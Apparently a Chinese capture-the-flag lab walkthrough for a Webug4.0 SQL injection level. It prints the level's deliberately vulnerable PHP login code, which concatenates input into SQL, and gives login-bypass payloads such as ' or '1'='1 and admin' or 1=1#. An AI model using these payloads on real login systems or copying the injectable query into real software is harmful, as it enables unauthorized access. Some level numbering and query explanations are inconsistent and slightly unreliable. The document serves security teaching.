Webug4.0靶场通关笔记08- 第11关万能密码登录(SQL注入漏洞)
目录
第13关 万能密码登录
1.打开靶场
2.源码分析
3.渗透方法1
4.渗透方法2
第13关 万能密码登录
本文通过《webug靶场第13关 万能密码登录》来进行渗透实战。
万能密码是利用 SQL 注入漏洞,构造出能够绕过登录验证的特殊密码字符串。通常,登录验证的 SQL 查询语句类似于SELECT * FROM users WHERE username = '$username' AND password = '$password'。攻击者通过输入特殊的密码,如' OR '1'='1',可以使 SQL 语句的条件永远为真,从而绕过验证,以任意用户的身份登录系统。
- 危害:万能密码的主要危害是导致系统的登录验证机制失效,攻击者可以轻易地获取系统的访问权限,进而进行其他恶意操作,如窃取数据、篡改信息等。
为了防止 SQL 注入和万能密码攻击,开发人员应该对用户输入进行严格的验证和过滤,使用参数化查询或存储过程来避免将用户输入直接嵌入到 SQL 语句中,同时对数据库的权限进行合理的设置,限制用户对敏感数据的访问。
1.打开靶场
进入靶场的第11关,万能密码登录,网址如下所示。
http://192.168.71.1/webug4/control/sqlinject/universal_passwd.php
此时进入了登陆页面,需要输入用户名和密码,如下图所示。
2.源码分析
对源码进行代码审计,如下为原始代码。
<?php/*** payload 1' or 1=1 #*/
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}if (isset($_POST["username"]) && isset($_POST['password'])) {if (!empty($_POST['username']) && !empty($_POST['password'])) {$username = $_POST['username'];$password = $_POST['password'];$sql = "SELECT * FROM user WHERE username = '{$username}' AND password = '{$password}'";$res = $dbConnect->query($sql);if (mysqli_num_rows($res) >=1 ){$s = "SELECT * FROM env_list WHERE envName LIKE '%万能密码登陆%'";$r = $dbConnect->query($s);$row = mysqli_fetch_assoc($r);echo "flag: ".$row['envFlag'];die();}}
}
require_once TPMELATE."/universalpasswd.html";
这段代码实现了一个不安全的登录验证功能,主要逻辑包括:
-
检查用户会话状态,未登录则跳转到登录页
-
接收用户提交的username和password参数
-
直接将用户输入拼接到SQL查询语句中验证凭据
-
如果查询返回结果,则显示一个包含"万能密码登陆"相关flag的环境变量
经过分析,这段代码有多个安全漏洞,具体说明如下所示:
-
SQL注入漏洞:直接将用户输入拼接到SQL语句中,攻击者可以构造恶意输入如
admin' --
来绕过认证 -
密码明文存储:代码显示密码是明文存储和比较的,不符合安全规范
-
敏感信息暴露:直接输出flag等敏感信息
-
缺乏错误处理:没有对数据库操作失败的情况进行处理
本关卡如果实现万能登陆,需要利用SQL注入漏洞,接下来对数据库相关代码进行注释解释。
// 检查是否提交了username和password参数
if (isset($_POST["username"]) && isset($_POST['password'])) {// 确认参数值不为空if (!empty($_POST['username']) && !empty($_POST['password'])) {// 获取用户输入的用户名和密码(未做任何过滤处理)$username = $_POST['username'];$password = $_POST['password'];// 危险操作:直接将用户输入拼接到SQL语句中(存在SQL注入漏洞)$sql = "SELECT * FROM user WHERE username = '{$username}' AND password = '{$password}'";// 执行SQL查询$res = $dbConnect->query($sql);// 检查是否查询到结果(只要匹配到1条及以上记录就通过验证)if (mysqli_num_rows($res) >=1 ){// 查询环境变量表中包含"万能密码登陆"的记录$s = "SELECT * FROM env_list WHERE envName LIKE '%万能密码登陆%'";$r = $dbConnect->query($s);// 获取查询结果$row = mysqli_fetch_assoc($r);// 直接输出flag(存在信息泄露风险)echo "flag: ".$row['envFlag'];// 终止脚本执行die();}}
}
最关键的SQL源码如下所示,参数使用单引号闭合。
SELECT * FROM user WHERE username = '{$username}' AND password = '{$password}'
该代码存在严重的SQL注入漏洞,因为:
-
未过滤用户输入:直接将POST['username']和POST['username']和_POST['password']拼接到SQL语句中
-
未使用预处理语句:采用危险的字符串拼接方式构造SQL查询
-
错误信息暴露:认证失败时会暴露原始SQL语句结构
攻击者可以利用万能密码绕过登录验证:
username: 1' or 1=1 #
password: [任意值]
这会使SQL语句变为:
SELECT * FROM user WHERE username = '1' or 1=1 #' AND password = '[任意值]'
其中#
注释掉后续条件,or 1=1
使查询总是返回真,从而绕过身份验证直接获取flag。
3.渗透方法1
可以通过构造如下注入命令。
用户名 admin
密码 ' or '1'='1
传入参数后SQL语句如下所示。
SELECT * FROM user WHERE username = 'admin' AND password = '' or '1'='1'
此时相当于如下命令,可以绕过登陆限制直接形成注入命令。
SELECT * FROM user WHERE username = 'admin'
根据分析,用户名和密码输入如下内容。
admin
' or '1'='1
登录成功后显示flag,渗透成功。
4.渗透方法2
由于SQL语句中的#和-- 是代表注释符, 可以通过构造如下注入命令,用户名输入万能注入语句' or 1=1#或者' or 1=1-- (注意--后面加上空格),密码随便输入。
用户名 admin' or 1=1#
密码 ljn
或者
用户名 admin' or 1=1--
密码 ljn
传入参数后SQL语句变为如下所示。
SELECT * FROM user WHERE username = 'admin'or 1=1# AND password = 'ljn'
SELECT * FROM user WHERE username = 'admin'or 1=1-- AND password = 'ljn'
此时相当于如下命令,可以绕过登陆限制直接形成注入命令
SELECT * FROM user WHERE username = 'admin'
根据分析,用户名和密码输入如下内容。
admin' or 1=1#
ljn
或者如下内容。
admin' or 1=1--
ljn
登录成功后显示flag,渗透成功。